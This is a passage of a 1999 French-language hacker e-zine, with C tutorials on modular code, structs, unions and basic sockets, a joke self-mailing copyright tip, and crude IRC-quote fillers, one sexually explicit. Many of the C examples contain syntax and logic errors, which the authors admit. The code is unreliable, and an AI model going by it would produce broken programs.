       de manquer la chance davoir lair brillant.


       Sur ca moi jen ai pris pour au moins 3 lavements de l'estomac
       a lire et decrire se magazine. Jespere que le jour ou vous aurez
       a comprendre ou vous interesser a linformatique vous ferez un 
       meilleur choix.

 
     ***************************************************************
     *                                                             *
     *  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *  $$$$$$$P     *$$$*  $$F    "$$   $   $$      *$$$$$$$$$$$  *
     *  $$$$$$$   $   $     $$  $F  $$   $   $$   $   $$$$$$$$$$$  *
     *  $$$$$$$   $   $$$   $$ee$   $$   $   $$   $   $$$$$$$$$$$  *
     *  $$$$$$$   $   $$$   $$$$$  .$$       $$   $   $$$$$$$$$$$  *
     *  $$$$$$$b  .   $$$   $$$F  .$$$   $   $$   $   $$$$$$$$$$$  *
     *  $$$$$$$***$   $$$   $$P  .$$$$   $   $$   $   $$$$$$$$$$$  *
     *  $$$$$$$r  *  .$$$   $$      $$   $   $$       $$$$$$$$$$$  *
     *  $$$$$$$$be.zd$$$$eee$$eeeeee$$eee$eee$$eeeeed$$$$$$$$$$$$  *
     *  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *  $$$$$$$   No more Issue, plZ! $$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  *
     *                                                             *
     ***************************************************************
     *                                                             *
     *                912 Hacking Departement  1999               *
     *                                                             *
     ***************************************************************

     ps: un (C) qui nest pas un vrai (C) cest de la fraude selon une
         certaine charte des lois.
             
                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                  __2            :  
 |                                                                                 :
 |_________________________________________________________________________________| 






 ===================================================================================================
                                                                                       Pub-O-sticker 
 <Wyzeman> J'regardais ca l'autre jour au centre video, les posters d'explosion 
           atomic, ca doit pas etre full populaire au japon.
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [002]                                                                           |
 |                                 copyright                                       | 
 :                                 so called                                       :
 ;                        le facteur qui vien de loin                              :
 ,                                                                                 .
 .                                                                                 
 :

     This article is Ripping-proof.

                       (.
                      (, )    
                     ( .)
                     __)
                    | _|_____
                    |/\      \
                    /  \      \
                   /____\______\
                   |  _   __  |
                   | | | |  | |   <- Un serveur vu par Qwyzkx
                   | | | |__| |
                  _|_|_|______|__  



     Comme plusieurs membres haut placer de la pseudo-scene du Hack
     se sont plein du manque de contenu technique  des  zines  iGA,
     j'ai crus bon vous parler de chose lgale pour une  fois.  Car
     apres tout,la diffrance est bien mince entre ces deux extrme
     on  qua voir le monde dire qu'on est un zine de hacker et non
     un advisory pour les admins reseaux et bien laisser  moi  vous
     faire mention d'un fait troublant, le hacker cherche  rentrer
     tandis que le admin chercehe  pas laisser de  porte  ouverte.

     [__2] : "ARRRRRRRRRGGGGGGGGGGGG JVIENS DE TOUTE COMPRENDREEE!!
              sti chu cave, stai ca le hacking!!!!"

     Ce  n'est  qu'une  question  de  porte  comme  vous  pouvez le
     constater.  Le "Hacker" cherchera de nouveaux outils  afin  de
     percer la porte de la maison de notre Admin,tandisque celui-ci
     si il connais les techniques que notre amis le mchant Hacker
     fera afin de dvisser ca porte patio-passe-asortit saura qu'il
     vaut mieux mettre des des bars de metals ou  de  s'acheter  un
     doberman afin d'assurer ces biens matriel.  Donc  vous    la
     suite de ces explications vous constaterer que peut importe du
     cote ou vous pretender tre, l'excuse est vaine!

     Et sur cette ide de lgalit total auquel  droit chaques nord
     Amricains, dans ce texte, il sera question  de  sauvegarde de
     vos fichiers, et plus  explicitement  de  votre  code  source.
     Donc,  si  vous  coder  un  programme  qui  vas  rvolutionner
     l'industrie de la livraison de bananes   domicile, vous serez
     surement tenter d'aller faire Enregistrer  votre  code  source
     afin d'avoir un certain brevet sur celui-ci. Mais voila, comme
     ce type de procder est un peu couteux(ne seraise que pour  ce
     rendre au burreau d'administration)  deplus  que  votre  copie
     lociciel se discute mal en cours.  Je  vous  suggre  donc  la
     mthode suivante.

     [1st Step :]
     Votre code source tant termin,  faite le  imprimer  afin  de
     possder une  preuve  matriel  de  votre  programme.  Ensuite 
     glisser ces belles pages  l'intrieur  d'une  belle  envloppe
     jaune, coller quelques timbres et licher bien.

     [__2] : "ARRRRRRRRRGGGGGGGGGGGG JVIENS DE TOUTE COMPRENDREEE!!
              sti chu cave, stai la qui se colle les timbres!!!

     [2nd Step:]
     Avec un crayons foncer,ecrivez l'adresse de votre destinataire
     sur l'envloppe. Destinataire tant  bien-sur vous-meme. Sorter
     prendre une marche  l'extrieur et poster le tout.

     [Candu]: "Jtoute meler la."


     [3rd Step:]
     Attender 

     [4th Step]
     Retournez  la malle chercher vos comptes  payer et rapporter
     avec vous cette envloppe jaune qui est de retour.

     [5ft Step]
     Prenez cette envloppe et dposer la dans un coin pour le reste
     de vos jours sans JAMAIS l'ouvrir.

     Comme ca si vous vous faite ripper votre code, pis que le gars
     est prs  aller plus loin que "4h10 en arriere du Petro Canada"
     vous  aurez  l'ultime  preuve  que ce code, vous l'aviez crit
     avant que celui-ci ne s'avoue  propritaire.  Car  l'enveloppe
     encore  sceller  portant  la  marque  de  la Poste Canadienne.
     Suite  ces recomandations, vous pourriez toujours vous  auto-
     envoyer 2-3 de votre code sous envloppe,  et  en  deposer  une
     dans votre grenier sous la mousse isolante, une    la  caisse
     pop, quoi que d'apres de recentes tude effectu dans ce  zine
     il serais peut-etre plus sage d'en deposer une derniere  copie
     dans une banque digne de votre rputation,  supose que cette
     tablissement ne sois pas une caisse pop bien-sur!
                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                  Qwzykx         :  
 |                                                                                 :
 |_________________________________________________________________________________| 







 ===================================================================================================
                                                                                       Pub-O-sticker 
 <maniak>  Cherche femme taille forte de Montral qui aime se faire brouter 
  la chatte,pour rencontre sur une base rgulire!
  [Veridique selon nos source]
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [003]                                                                           |
 |                               C tutorial #3                                     | 
 :                                 so called                                       :
 ;                               C presque fini                                    :
 ,                                                                                 .
 .                                                                                 
 :


   	     Je me suis longtemps demander si jallais finalement sortir ce fameux 
     #3 de mes tutorial sur le C et jai faillit  y  renoncer   lorsque  Cubic  ma 
     envoyer le sien sur les sockets en C. Finalement  je me suis dit que jallais 
     en faire un petit dernier avant de remetre le flambeau a cubic et rew. Cette
     article est donc un complement au 2 premier a etre paru dans  IGA  (9 et 10)
     et un introduction a celui de Cubic, qui est le  premier  d'une  serie  donc 
     jignore le chiffre  final  de tutorial sur les Socket via le langage C. Dans
     les 2 premiers  tutorial,  j'avais fait un tour global sur l'utilisation des 
     variable et les controle simpe ( if then else  etc  :]  ).  Ce  tutorial  ne 
     representera pas beaucoup de nouvelle maniere,  il  va  tout simplement vous
     montrer a mieu structurer vos code  pour  les  rendre  plus  lisible et plus 
     maleable,  je  laisserais  a  cubic  et  a  rew la joie de vous demontrer la 
     complexiter  du  langage  C  dans  les  prochains  tutorial  qui  suiveront. 
     Vous souhaiteriez surement passer tout de suite au programme  kick  ass  qui 
     vous font salivez, bien sur on pourrais le faire, mais vous  perdriez le 3/4
     de la technique, chaque chose en sont temps, si je vous donne  de  la bouffe
     vous allez toujours revenir men  queter,  si  jvous  aprend  a pecher,  vous 
     viendrez pu mecoeurer par apres  (arf  jaurais jamais penser que ce proverbe
     la maurais servie ).



    	     Bon question de se remetre dans le bain, nous allons revoir quelque
     principe de base de la programation en C


     include <stdio.h>
 
     main()
     {

        printf ("hello world");

        return 0;

     }


     pas pire non? arf, en realiter jva pas pentoute recommencer tout ce que jai
     dit, vous etes surement assez leet pour  aller downloader le IGA 9 et 10 si 
     vous comprennez rien a ce present numero. Comme je le disais dans mon intro
     nous  allons  parler ici de la programation par module, What the fuck que c
     ca? et bien  comme  un  image  vaut  mille mots et que mille mots vaux sont
     pesant de K et bien je vais vous f aire un petit exemple et vous lexpliquer
     par la suite.


     /* exemple de programme non modulaire */
     /* so called, ca laire twit mais rajoute 1000 ligne pi tes perdus */
     /* mais pour linstant vous etes ici :] */


     #include <stdio.h>
     #include <string.h>

     main()
     {
        char reponse[3];    


        printf("veut tu une biere ?\n");
        scanf("%s",reponse);
   
        if (strcmp(reponse,"oui") == 0)
           {
            printf("ok, jtapporte une autre biere\n");
           {
        else
           {
            printf(" sti que tu es cheap, jten apporte une pareille.\n");
           }
   
        return 0;

     }


     bon, ca vous avez tous dejas vu ca dans les 2 autres tuto, voicie maintenant
     ce que ca donnerais si vous coderiez le tout en utilisant des modules.

     #include <stdio.h>
     #include <string.h>

     main()
     {

         char reponse[3];


         printf("veut tu une biere ?\n");
         scanf("%s,reponse");
 
         if (strcmp(reponse,"oui") == 0)
            {
            reponse_positive()
            }
         then
            {
            reponse_negative()]
            }
      
         return 0;
     }

     reponse_positive()
     {
         printf("ok, jtapporte une autre biere\n");

         return 0;
     }

     reponse_negative()
     {
         printf(" sti que tu es cheap, jten apporte une pareille.\n");
 
         return 0;
     }


     hehe, avouez que ca laire useless, jvous donne pas tord sur un exemple de 10 lignes
     mais regarder bien dans un code un peu plus grand, vous  allez  voirs  que  l'on si
     retrouve un tantinet mieux. ca cetais juste pour vous faire comprendre le principe.


     bon un peu de theorie sur les variable globale et les variable local. Est appeller
     variable global, une variable qui peu etre utiliser par nimporte quelle section ou
     sous section du code afin detre utiliser ou modifier. si vous avec  eux  des cours 
     de Qbasic a l'ecole, c'est le type de variable que vous avez  utiliser. Mais comme
     les codeur de C sont de gros codeur leet, et bien il prefere utiliser des variable
     local, c'est a dire  des  variable  qui  non  foie  de  loi que dans leur fonction 
     (module) respectif. Mais bon, c'est plus util et plus efficace  ainsi,  d'ailleur, 
     tout langage qui se respecte  utilise  cette  methode  de  programation ( VB aussi 
     d'ailleur pour ceux qui viendrais  dire  que  ce  n'est pas un langage inteligent)
     bon comme je dit a  chaque  foi que jai pu rien a dire: rien de mieu qu'un exemple
     pour comprendre :]


     #include <stdio.h>
     #include <string.h>


     main()
     {
             int haxor;         <-------- ceci est une variable globale elle
                                          pourrait etre appeller a partir dun
                                               autre module, like I_G_A()
             printf("est tu un leet haxor?\n");
             printf("1-->oui\n");
             printf("2-->non\n");
             scanf("%d",haxor)

             switch(haxor)
             {
              case(1):
                I_G_A()
                break;
              case(2):
                printf ("salut wzgate/n");
                break=;
              default()
             {
              printf ("hacker dont use drug, repond par 1 ou 2")
             }
          
              return 0;

     }

     I_G_A()
     {
              int nick = 0;     <--------- ceci est une variable local, elle
                                           ne peu etre appeller et utiliser 
                                           que a linterrieur de la fonction 
                                           I_G_A()
              printf("quelle est ton nick?\n");
              printf("1--> __2?\n");
              printf("2--> Qwzykx?\n");
              printf("3--> Wyzeman?\n");
              printf("4--> Bozzo?\n");
              printf("5--> Qderf?\n");
              scanf("%d",nick);

              switch(nick)
              {
              case(1):
                printf(" salut __2 taime pas de C queske tu fou dans mon tuto?\n");
                break;
              case(2):
                printf(" Ouais tu va pouvoir parler dencoding de chip bientot\n");
                break;
              case(3):
                printf(" si spa moi qui li ca cest que tu es menteur en cacaouette\n");
                break;
              case(4):
                printf(" quand jetais petit je netais pas grand :]\n");
                break;
              case(5):
                printf(" jpense pas ke tai besoin de lire ca :]\n);
                break;
              default()
              {   
                printf("brain reset by peers\n");
              }
    
     
      return 0;
               
                 

     }


     bon je ne meterneriserais pas des heures dans un principes simple, vous devriez 
     maintenant etre en mesure de comprendre ce qu'est une  variable  local  et  une 
     variable  globale,  sinon,  ben  vous  pouvez toujours allez lire 912 ou QHA :]
     il font des  articles  de  ratrapage  (un peu comme les groupes de mesadapter a 
     l'ecole :] )
       
             
   	     passage de variable. Permet de faire circuler une variable local, a une
     autre fonction. pour ce faire, vous devez indiquez la  variable donner dans le
     call de fonction que vous faite, entre les parentaises

     prototypage

   	     obligatoire dans le cas de variable de type float, vous devez les 
     inclure dans lallee et le retour. ca permet de bien suivre le traitement de ces
     variable entre autre.



     bon ici ce termine mes tutorial en C, je sais que  celui ci est plutot cour, mais 
     comme larticle qui suis est aussi du C, faudrais pas  trop  vous   bourrez.    En 
     passant Cubic me fait dire de ne pas essayer de compiler  c'est exemple car il ne
     se compilerais pas tres bien et cest voullu. Je vous conseille la meme chose pour
     les miens, car Chicoman n'est pas un gars tres jasant.


                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                  Wyzeman        :  
 |                                                                                 :
 |_________________________________________________________________________________| 






 ===================================================================================================
                                                                                       Pub-O-sticker 
  <VeNeTiA> les dimache de fuin de mois je pense les ofrante a athena 
  <Wyzeman> surement la cousine de pres_who :]
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [004]                                                                           |
 |                              Suite au tutorial C #3                             | 
 :                                 so called                                       :
 ;                      on pass drete de 12 a 14 pi on fait 2 #3????               :
 ,                                                                                 .
 .                                                                                 
 :



     Encore du coding sous C mais cette fois on approfiondie encore plus en vous 
     presentant les structures et les unions de bits.
     Debutons d'abord par la structure. La structure de bit est
     en fait un moyen simple et intlligent de travailler sur les bits d'un fichier.
     Exemple du chef..:

      struct Str1     
       {
       unsigned char b0:1;  //Bit  0
       unsigned char b1:1;  //Bit  1
       unsigned char b2:1;  //Bit  2
       unsigned char b3:1;  //Bit  3
       unsigned char b4_5:2;  //Bit  4 et 5
       unsigned char b6_7:2;  //Bit  6 et 7
       }stOctet;

     Dans cette exemple chaques variables est associes a un bit et
     le total ou le nom de cette structure est : stOctet.
     Pour appeler ou modifier un bit en particulier, au lieux de
     faire un mask vous n'aurer qu'a caller le bit qui vous intresse
     comme suit :  stOcter.b2=1;
     Evidament comme dans ce cas il sagit de bit, la valeur ne pourra
     etre autre que 0 ou 1.

     On peut aussi declarer une structure de d'octet.

      struct Str1     
       {
       unsigned char ucOctet1;  
       unsigned char ucOctet2;  
       };

     struct Str1 stByte;

     Remarquer que dans ce cas, j'ai declarer ou plutot construit la
     structure apres y avoir attribuer mes variables. Ce qui peux 
     etre pratique si on prevois construire plusieurs de ces structures :

      struct Str1 stByte,stByte2,stByte3;

     On vois ici finalement 3 declarations d'une meme structure
     original. Comme dans ce cas ci on a laisser tomber les  bits
     pour declarer une structure avec deux char(8bits) la structure
     sera donc composer de 16 bits. L'appelle de la fonction restera
     la meme :
               stByte.ucOctet1=0x40;

     L'utilite de tel structure est impresionnante quand on desir
     acceder rapidement a une valeure d'une variable dans un meme
     champ (groupe). On pourrait ainsi construire une structure
     Qwzykx qui serait composee des items suivants: QI,Articles,Paye
     Et cette structure permetrait de regrouper en un meme ensemble
     uniforme des variables ou des statistiques qui sont propre au
     meme sujet. Et on pourrais pousser de plus en plus les avantages
     de telles structures en fesant une structure dans laquelle on
     inclurait d'autres structures :

      struct IgaCrew
       {
       unsigned char Articles;  
       unsigned char QI;  
       unsigned char Paye;  
       };

      struct IGA;
       {
       struct IgaCrew Qwzykx,Wyzeman,__2,Bozzo;
       };

      struct IGA IgaTeam;

     Dans ce cas la structure IgaTeam serait composee de 4 autres 
     structure de type IgaCrew. Ce qui permetrait de faire des
     appelles de variables beaucoup mieux structures :

       IgaTeam.Qwzykx.Articles=24;
       IgaTeam.Wyzeman.QI=210;
       IgaTeam.__2.Articles=12;

     Vous reconnaissez pas ces debuts d'appelle de type programation
     objet... evidament ce n'est pas le cas mais on vois bien vers
     quoi on se dirige.

     Note: importante a retenir, on ne peut pas initialiser de
     valeurs lors de la declaration de cette structure.


     Regardon maintenant les Unions.
     Les unions sont utile pour unire des structures en une meme
     variable, reprenons l'exemple de tento:

      struct Str1     
       {
       unsigned char b0:1;  //Bit  0
       unsigned char b1:1;  //Bit  1
       unsigned char b2:1;  //Bit  2
       unsigned char b3:1;  //Bit  3
       unsigned char b4_5:2;  //Bit  4 et 5
       unsigned char b6_7:2;  //Bit  6 et 7
       };

     Alors si je veux lire ou ecrire independament ces bits,
     je peux me servir de la structure pour parvenir a mes fins.
     Mais si je desir repartir directement un octet a l'interieur
     de ces bits, j'utiliserer l'union :

       union Octet
       {
       struct Str1 Octet;          
       unsigned char ucMot;
       }unOctet;

     On vois que cette union  construit la structure decrite plus haut 
     et associe un octet a celle-ci (ucMot).  Donc si on ecrit
     directement dans cette variable nos bits seront modifier en 
     consequence :

      ucOctet.ucMot=0x55;

     Suite a cette operation les variables de la structure seront
     modifier. Le contraire est aussi vallable  :

      ucOctet.Octet.b0=1;

     Si on vas lire notre ucMot on verra que le bit0 cette variable
     est egale a 1.

     Et tout comme pour les structures, on peut introduire des 
     unions dans d'autres unions, dans d'autres unions etc....
     Par l'utilisation de tels principes on peut facilement voir 
     toute l'optimisation et la "structure inteligante" qu'on
     peut apporter a un code.

                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                  Qwzykx         :  
 |                                                                                 :
 |_________________________________________________________________________________| 






 ===================================================================================================
                                                                                       Pub-O-sticker 
 <Doc-green> Jveu mon iga jveu mon iga jveu mon iga jveu mon iga jveu mon iga 
 
 ===================================================================================================







 ,---------------------------------------------------------------------------------,
 | [005]                                                                           |
 |                                 Csocket #1                                      | 
 :                                 so called                                       :
 ;                  La nouvelle mode de faire des article a 2 ezine                :
 ,                                                                                 .
 .                                                                                 
 :

     ++------------------------------++
     ++ C Socket Programming part #1 ++   par Cub1c (cub1c@hotmail.com)
     ++------------------------------++            [99.11.03]

     Pr-requis: 
      - connaissance de la programmation C environnement Unix.


     =====
     Intro
     =====


   	     En premier lieu, dans ce texte nous allons apprendre, tout d'abord 
     ce qu'est un socket et ensuite  programmer des sockets en langage C.
     NOTE: Ce texte s'adresse aux newbies!

     Je vais faire beaucoup de comparaisons ......
     (tlphone...)
     bon je suis revenu...comme je disait, je vais faire beaucoup de comparaisons
     aux tlphones (que je suis comique!). 

  	     Pourquoi? Parce-que batir un socket c'est comme installer une ligne
     tlphonique (ou presque). Tu dois commencer par l'installer, ensuite choisir
     le type de fils, etc...


     ============
     Explications
     ============


  	     Les sockets sur internet ont le mme concept de base que les
     tlphones: tablir une connection entre 2 htes pour ainsi pouvoir y passer
     des conversations, dans notre cas des packets. Les sockets sont comme des
     tlphones dont le fil utilis pour la communication est Internet en
     utilisant le protocole TCP/IP (Transmission Control Protocol/Internet
     Protocol).

     Comprennez vous? Rcapitulons...

               SOCKET ==  TELEPHONE
     INTERNET(TCP/IP) ==  FILS DE CUIVRE

  	     En esprant que vous le savez, TCP/IP est le protocole utilis pour la
     transmition de donnes numriques sur Internet.

     if(reaction == "IPIT/CTPTTI?!?!") exit(1);

	     L'information circulant sur Internet avec le protocole TCP/IP est 
     divise en packets. Les packets sont des branches de donnes ayant une 
     grandeur en bits gale. Les packets sont au TCP/IP ce que les mots d'une
     conversation sont au tlphone. 

  	     Pour tablir une conversation avec quelqu'un au tlphone il faut
     son numro! Pour les socket, c'est le mme principe. On appele cela une
     adresse. Il existe plusieur mode d'adressage, mais je vais seulement vous
     introduire au plus important lorsque l'on parle de socket pour TCP/IP: le
     mode d'adressage AF_INET. Les adresses AF_INET sont ceux que vous connaissez
     bien: les adresses IP.

	     Un autre point important est le type de socket. La aussi il y en a 
     plusieurs, mais les 2 plus commun sont: SOCK_STREAM et SOCK_DGRAM. Une 
     connection stream (SOCK_STREAM) est le fait d'avoir une connection o les
     caractres vont parvenir en flot, sans interruptions. Le meilleur exemple
     d'une connection SOCK_STREAM est telnet. Tandis que SOCK_DGRAM indique une
     connection o les packets vont arriver en gang. UDP (User Datagram Protocol)
     est le protocole utilis pour transmettre des packets de type SOCK_DGRAM.
     Le plus facile  utiliser est SOCK_STREAM, et c'est aussi le seul dont je
     vais vous parler dans ce texte.


     ==================
     Data Encapsulation
     ==================


	Avouez que vous n'aimer pas ce mot. Vous voulez mme pas savoir ce
     que c'est que l'encapsulation de donnes juste parce-que le mot vous semble
     compliqu. Dtrompez-vous, ce n'est pas si sorcier. L'encapsulation consiste
      la transformation de donnes dans un format spcial qui permettra leur 
     transmission  une autre machine qui elle effectuera une dcapsulation.

     Schma:
     DONNEE-->ENCAPSULATION-->TRANSMISSION-->DECAPSULATION-->LECTURE DE LA DONNEE


     Exemple:

	     Vous voulez transmettre une commande FTP  un serveur. Dans ce
     processus il va y avoir 4 tapes  l'encapsulation(transformation) de la
     commande pour la transformer en packet:

     1) la commande sera transforme(encapsuler) par le premier protocole, dans
        notre cas: FTP (File Transfer Protocol)
     2) le tout sera retransform par le deuxime protocol: TCP (Transmission
        Control Protocol)
     3) le tout sera reretransform par le troisime protocol: IP (Internet 
        Protocol)
     4) le tout sera rereretransformer par le quatrime protocol: le hardware
        (modem) ou: physical layer

     Schma:
     COMMANDE-->TRANS.FTP-->TRANS.TCP-->TRANS.IP-->TRANS.PHYSICAL-LAYER

 	     Quand l'autre machine recoit ce packet, elle vas faire une 
     dcapsulation qui est le rsultat du procd inverse de l'encapsulation
     (effectuer les 4 tapes en commencant par la dernire jusqu' la premire).

	     Cette partie qui explique l'encapsulation n'est pas ncessaire pour
     la programmation des sockets. Mais ceci explique en gros ce que vont faire
     les fonctions qui serviront  transmettre des caractres. Si vous voulez en 
     savoir plus sur les diffrents protocoles et comment ils fonctionnent
     rellement, je vous conseil d'aller lire des RFC (Request For Comment) qui
     sont disponibles  l'adresse mentionne  la fin de ce texte.


     =============
     Programmation
     =============	


	     Une fois que tu as un tlphone et le numro d'une personne, que
     fais-tu aprs? Et oui! Tu compose! On appele ce processus se connecter.
     Dans notre cas, je vais seulement vous expliquer comment faire pour vous 
     connecter  un serveur distant, et non pas comment vous ouvrir un port sur
     votre machine. Peut-tre que j'en discuterai dans un article  venir.

	     Premirement, nous devons inclure dans notre programme les fichiers
     qui contiendront les modles des fonctions dont nous aurons besoin pour la
     programmation de sockets:

     #include <sys/types.h>
     #include <sys/socket.h>

	     La fonction pour tablir une connection  l'aide de socket est: 
     socket(). 

     int socket(int domaine, int type, int protocole);

	     Cette ligne dfini la facon selon laquelle socket() sera appel. Elle
     contiendra 3 arguments:

     1) domaine: cet argument dans notre cas sera "sett"  "AF_INET".
     2) type: cet argument dfinira le type de socket utilis, dans notre cas:
        "SOCK_STREAM".
     3) protocole: et puis "setter" ce dernier argument  "0".

     Ce qui donnera: 

     socket(AF_INET, SOCK_STREAM, 0);

 	     Nous devons ensuite insrer ce socket dans une variable pour 
     utilisation ventuelle:

     scktest = socket(AF_INET, SOCK_STREAM, 0);

     NOTE: si vous avez lu la section des explications, vous devriez tre en 
           mesure de comprendre pourquoi on attribut un domaine, un type et un
           protocole  un socket.
	
	     Cette fonction va vous retourner un socket (scktest) qui sera 
     utilisable plus tard dans le reste du programme. Si il y a difficults 
     crer ce socket pour n'importe quelle raison, la valeur de la variable 
     socket (scktest) sera -1. Ce qui vous permettra d'implmenter vous-mme 
     une routine de traitement d'erreurs de connection.

	     La prochaine tape sera d'tablir la connection. La fonction qui 
     sera utilis pour tablir la connection sera connect(). Ceci permettra de 
     vous connecter  une machine distante.

     int connect(int socketvar, struct sockaddr serv_addr, int addrlen);

     La fonction connect() contient 3 arguments:

     1) socketvar: la variable qui contient le socket que nous avons ouvert  
                   l'aide de socket(). 
     2) serv_addr: c'est la variable de l'adresse du serveur dont la structure
                   est sockaddr. Cette variable vas contenir l'adresse du 
                   serveur et le port de destination.
     3) addrlen: c'est la longeur de l'adresse du serveur. Dans notre cas, la
                 longeur de l'adresse du serveur distant sera la longeur de la
                 variable serv_addr: addrlen = sizeof(serv_addr)

  	     Bon, maintenant que vous savez comment utiliser les fonctions socket()
     pour ouvrir un socket et connect() pour connecter ce socket, codons tous en
     coeur un petit exemple.

     ----------Dbut----------

     /* Exemple de programme utilisant des sockets */

     #include <string.h>
     #include <sys/types.h>     /* On commence par inclure les fichiers contenant */
     #include <sys/socket.h>    /* les prototypes */

     #define DST_IP "134.232.11.21"   /* Dclaration de variables globales */
     #define DST_PORT 23              /* DST = Destination */

     main() {

     int scktest;     /* Dclaration de la variable du socket */
     struct sockaddr_in dest_addr;   /* dest_addr est la variable qui vas contenir
                                        l'adresse */
 
     scktest = socket(AF_INET, SOCK_STREAM, 0);    /* Ouverture du socket */

     /* Bon, ici on devrais faire une routine qui vas vrifier si le socket est
        capable d'tre ouvert ou non. Je ne vais pas vous crire le code parce-que
        vous devriez tre capable de le faire. Il faut juste faire un IF qui vas
        vrifier si la valeur de scktest == -1. Si elle gale -1, c'est qu'il y a
        une erreur et qu'il est impossible d'ouvrir le socket. */

     dest_addr.sin_family = AF_INET;  

     /* On dit  la variable qui contient l'adresse du serveur
        (dest_addr) quel mode d'adressage elle devra utiliser  l'aide 
        de la proprit sin_family (sin signifie: "s" pour socket 
        et "in" pour internet. Dans ce cas ci: AF_INET */

     dest_addr.sin_port = htons(DEST_PORT); 

     /* On dfini la proprit sin_port de la variable
        dest_addr pour indiquer sur quel port se connecter.
        "htons" signifie Host TO Network Short. */

     dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);

     /* On dfini la proprit s_addr de la variable
        dest_addr.sin_addr qui contiendra l'adresse 
        IP du serveur distant. */

     connect(scktest, (struct sockaddr *)&dest_addr, sizeof(struct dest_addr));

     /* On se connecte  l'hote distant en utilisant la fonction 
        connect(). Le deuxime argument est la troncature des 
        variables sockaddr et dest_addr pour ainsi former le 
        3ime argument tout en 1 qui indiquera l'adresse du
        serveur.*/

     }

     ----------Fin----------

     NOTE: N'essayez pas d'excuter ce petit programme. Il n'est l qu'a titre
           d'exemple. Il ne marchera pas.
        
     <__2> des exemple qui marche pas??? spa un peu useless ca ?
     

     =====
     Outro
     =====
	

     	     Il se peut que vous n'ayez pas compris tout les petits dtails ou 
     autres code dans le programme. C'est normal si vous avez qu'une petite base
     en C. Alors pratiquez-vous, pratiquez-vous encore et encore...Si vous voulez
     un petit conseil en attendant la prochaine partie de ce texte, regardez du
     code, regardez comment sont cods les exploits et regardez le code ligne par
     ligne en essayant de comprendre la signification. Pratiquez-vous.


     Next part: 
     - Utilisation des fonctions send() et recv().
     - Le reste, on verra.
     - Peut-tre coder un petit remote buffer overflow ;).


     "The only place where success comes before
      work, it's in the dictionary." 

     -------------
     RFC: http://www.cis.ohio-state.edu/htbin/rfc/INDEX.rfc.html
     -------------


     Texte crit par Cub1c, pour IGA, termin le 4 novembre 1999.
     Version finale termin le 14 novembre 1999

     - Cub1c(cub1c@hotmail.com)

     <end of transmission>

                                                                                   ; 
 '                                                                                 .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                   Cub1c         :  
 |                                                    (jpense kon sent doutais :]) :
 |_________________________________________________________________________________| 






 ===================================================================================================
                                                                                       Pub-O-sticker 
  Caution: contents under pressure. Do not place in hot water or hear radiator, staves or 
           other sources of heat. Do not puncture or incinerate container or storeat 
           temperature above 50 C
 
 ===================================================================================================


 ,---------------------------------------------------------------------------------,
 | [006]                                                                           |
 |                              Mac OS in tha PC                                   | 
 :                                 so called                                       :
 ;                 un nain sans chapeau cest un nain sans chapeau                  :
 ,                                                                                 .
 .                                                                                 
 :


     Qui connais vraiment Macintosh? Ici je ne parle pas de se que tout
     le monde en pense (ca vaut pas d'la marde) mais plutot de se que 
     c'est. Les avantages a s'en servir et les desavantages, non ce texte
     n'est pas la nouvelle promotion MAC. C'est encore loint une lettre
     de devotion d'un accro-mac ou accro-pc mais plutot un article sur
     le fait que le MAC est casi-disponible sur PC via Windows98/NT en
     l'emulant biensur. Des le depart il est donc bien de savoir se que
     c'est et surtout pourquoi s'en servir non? Alors voici selon moi
     les avantages et les desavantages d'un MAC a la base:


     Avantage(s):

     - Simple d'utilisation via l'interface MAC-OS(wizards power)
     - Simple de branchement, tout les peripheriques externes sont
       pour pas mal tous USB. 

     - Pour pas mal tout le hardware, aucun driver n'est requis, tout
       fonctionne en mode NATIF. Tout est auto-detecter des le bootage
       de la machine.

     - C'est stable (mais ca cest discutable en motadit)
 
     - Ca roule des applications qui roule pas sur pc (logique)

     - La configuration reseau se fait pas mal toute sans jamais 
       rebooter et tout se specifie simplement et efficacement.


     Desavantage(s):

     - C'est moins multi-task que Windows 3.1, ca veut dire qu'on peut
       pas reelement faire rouler 2 programmes en meme temps. On peut en
       laisser 2 ouverts mais le 2-eme se met en genre de PAUSE pendant  
       que l'autre fonctionne.(vice-versa)

     - C'est chere pas mal un MAC pour se que ca vaut.

     - La situation des MACs est tellement mauvaise vis-a-vis le PC que 
       leurs dernieres campagnes sont centrer sur la couleur externe de
       la machine pour accroitre les ventes (voir iMAC)

     - La panoplis de programmes et pas mal moins grande sur MAC que sur PC

     - Oublier le gameplay et tout se que ca implique

     - C'est instable (Dans le sens que quand ca bug, on sait jamais pourquoi)
 
     - L'utilisation du HARDWARE gele la couche SOFTWARE pas mal pendant son
       utilisation.

     - Le hacking sur ca cest triste.

     - Y a pas un modit IRC client qui a de la gueule sur MAC.


     ---

     Bon on va arreter ca la, je commence a embarquer de facon subjective et pas
     mal personnelle sur le sujet :) Parlons plutot du Pourquoi. Pourquoi emuler
     un MAC sur un PC:

     - Parce que ca fait fencer [hot]
     - Parce que ca nous prouve que MAC-OS est aussi performant qu'un simple
